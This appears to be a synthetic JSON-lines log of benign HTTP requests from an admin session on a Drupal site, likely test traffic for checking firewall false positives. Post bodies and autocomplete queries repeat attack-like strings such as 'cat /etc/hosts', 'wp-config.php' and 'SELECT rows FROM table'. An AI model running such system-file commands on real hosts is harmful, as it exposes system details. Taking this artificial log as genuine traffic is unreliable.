name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_image_0_upload_button\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\n9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJyNU0luwzAM_JBln_qBAsmpQJ8Q0Aptq6FERaLSJq-vVG9ZevDJ5HA4JEdwa_qDNx6bdgoqfcKjEQ5vjXGCwQHVx5B8_iyVLZxa8xHfifVpExutHyCauIk8iKWd643btG1tLPTbmAItZSZB4KbjYJV8s9JMybo4wT1xC6SiXMm4vtJsLTppZqkxzXCe8SMJaK3MLine truncated
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/python3-diagram.png.avif?itok=Oi6kqsz7", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=docker-compose.yml", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys6Wog4PIiyr6c8nk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-GIwPSC0mk5OfJnBDDPrIGJXA59_fo-i-i4rc6hLJ2zo\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3, powershell, docker-compose.yml\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk--\r\n"}
{"method": "GET", "target": "/sites/default/files/styles/wide/public/2026-11/python3-diagram.png.avif?itok=zatrIDi8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=P1IJAagXdZ3uwIjUq2LBL0UYnJGTwcH1OA3KvfqFqg4"}
{"method": "POST", "target": "/node/add/page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/page", "Cookie: SESSexample=example-session-value"], "body": "title%5B0%5D%5Bvalue%5D=About+.htaccess+files&changed=1794214659&form_build_id=form-LaoMm59z_hyaytPZGp-adyYwJZGmbXRc7440YWGi8Do&form_token=H47HAbieKRgy6mosBoIwM8QZMBUCGpYRpFnf7HpzKDg&form_id=node_page_form&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=%3Cp%3EPlain+words+about+.htaccess+and+wp-config.php.%3C%2Fp%3E&body%5B0%5D%5Bformat%5D=basic_html&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=08%3A57%3A39&status%5Bvalue%5D=1&op=Save"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/node/2", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D2%3Achanged%3D1794214661%26langcode%3Den&tokens%5B%5D=9yhNCr_Hp4HSQvBSBYBWNCSG8ryM0kTuFsj7JELWqS0"}
{"method": "POST", "target": "/node/1/edit", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfBvrh6e5Bo80VnMG", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1/edit", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214658\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-YOV6ivVNUPhhYH59NVKyp3pCw7S5FRZ-MpqVk7Tekkw\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nRtIgLequzuSUKJ0eJYfweZtDlUU-P2Qm0dliQmbROBI\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_edit_form\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" width=\"1\" height=\"1\"> Edited with SELECT rows FROM table.</p>\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3 (1), powershell (2), docker-compose.yml (3)\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"revision\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG--\r\n"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY"}
{"method": "GET", "target": "/sites/default/files/styles/medium/public/2026-11/python3-diagram.png.avif?itok=ytQ2uihe", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/comment/reply/node/1/comment", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-rUcrz45wKTlwScU2KPvW4Uh-elT8_0ep1yDKub-fR9o&form_token=cLurkaLTS5RG_R8Vt9iKrHp5kETeTXRUPCXJRxJLz48&form_id=comment_comment_form&subject%5B0%5D%5Bvalue%5D=Python3+question&comment_body%5B0%5D%5Bvalue%5D=%3Cp%3EDoes+ls+-la+work+under+powershell%3F%3C%2Fp%3E&comment_body%5B0%5D%5Bformat%5D=basic_html&op=Save"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo"}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-vhMpEh9d_WRMwXQqxQWWiugdMAZ9cRfVnudOBsxwQNo&form_token=CXyUg6iH9UxK0n9bFsPllZanXhtbFSoc6km1jtSxrh4&form_id=user_logout_confirm&op=Log+out"}
